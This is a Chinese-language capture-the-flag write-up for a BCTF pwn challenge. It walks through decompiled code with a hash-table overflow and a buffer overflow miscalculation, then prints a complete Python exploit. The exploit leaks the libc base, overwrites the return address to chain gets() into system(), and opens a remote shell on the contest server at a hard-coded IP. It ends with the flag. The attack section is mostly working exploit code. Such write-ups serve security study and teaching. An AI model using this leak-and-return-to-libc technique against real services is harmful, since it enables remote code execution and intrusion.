about 4 years ago

主要的功能都在 sub_8049340() 裡,挺巨大的一個函式。其中會造成漏洞的,第一個是在用來 add hacker 的函式 sub_80489E0()。這裡用了一個 hash 函數 sub_8048920() 和 hash table 記錄出現過的 ID,但 add hacker 前沒有檢查是不是 hash table 已經滿了。這使得我們可以覆蓋任意 id 原本的資料,並且將當前的 id 指定為他。

n = strlen(name);
hash_value = sub_8048920(name);
id = hash_value;
for ( i = 0; i < 1338; i++ ) {
    id = (hash_value + i) % 1337;
    if ( !tb[(hash_value + i) % 1337] ) break;
    if ( !strcmp(table[(hash_value + i) % 1337]->name, name) )
        return (hash_value + i) % 1337;
}
ptr = malloc(0x38u);
ptr->id = id;
memcpy(ptr->name, name, n);
table[id] = ptr;
return id;

接下來我們在處理 show 這個操作的代碼中,發現在 currentID=0 時,這個 id 會被當做是 admin,nameLength 會直接被設成 5。這會使得之後的 limit 值被高估,memcpy() 時造成 buffer overflow,可以 overflow 的長度大約是 35 byte。

idLength = numOfDigits(currentID) + 8;
nameLength = currentID ? strlen(table[currentID]->name) : 5;
ageLength = numOfDigits(table[currentID]->age);
genderLength = table[currentID]->gender?4:6;
total = ageLength + genderLength + (idLength + nameLength + 6) + 10 + 8;
limit = 127 - total;
if ( strlen(table[currentID]->info) > limit ){
    memcpy(buf+total, table[currentID]->info, n);
}else{
    memcpy(buf+total, table[currentID]->info, strlen(table[currentID]->info));
}

這個 buffer overflow 足以改寫掉返回位址。我們先試著找出 libc 的基底位址,藉助 gdb 我們很快的發現 buf+0x94 處的值跟 main() 返回到 __libc_start_main() 裡的位址之間的差是固定的。show 操作的時候可以接上長度正確的 info 字串,印出 buf+0x94 處的值,就可以定出 system() 和 gets() 的位址。之後我們先用 gets() 把 shell 命令讀取到 .bss 段上(0x0804c548 是原本 hash table 的位址),再接著跳轉到 system() 執行命令。完整代碼如下:

import socket
import struct
import sys
import time

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.245',31337))

hh = open('hash_table','r').read().split('\n')[:-1]

def W(x):
    st.send(x+'\n')

def Wait(x=' >> '):
    time.sleep(0.2)
    rr = ''
    while True:
        s = st.recv(4096)
        rr += s
        if x in s:
            return rr

for i in range(1,1337):
    W('add '+hh[i])

W('add aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadwvzm')
Wait('added to system with id 0')

W('info aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxxx0AAAABBBBAAAABBBBAAAA')
Wait()
W('show')
s = Wait()
s = s[s.find('AAAABBBBAAAA')+20:][:4]
libc_base = struct.unpack('I',s)[0]-0x19406b+0x409e-0x19993
print 'libc_base @ '+hex(libc_base)

gets = libc_base+0x661a0
system = libc_base+0x3ea70

W('info aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'+\
        struct.pack('I',gets)+\
        struct.pack('I',system)+\
        struct.pack('I',0x0804c548)+\
        struct.pack('I',0x0804c548))
Wait()
W('show')
Wait()

st.send('exit\n')
s = raw_input()
st.send(s+'\n')
while True:
    s = st.recv(4096)
    if len(s)==0:
        break
    sys.stdout.write(s)
    sys.stdout.flush()

Key: BCTF{2h3_sH1_Y1=G3=H4o^w4n^d3%F14G}

← BCTF 內網探險 Writeup BCTF 分分鐘而已 Writeup →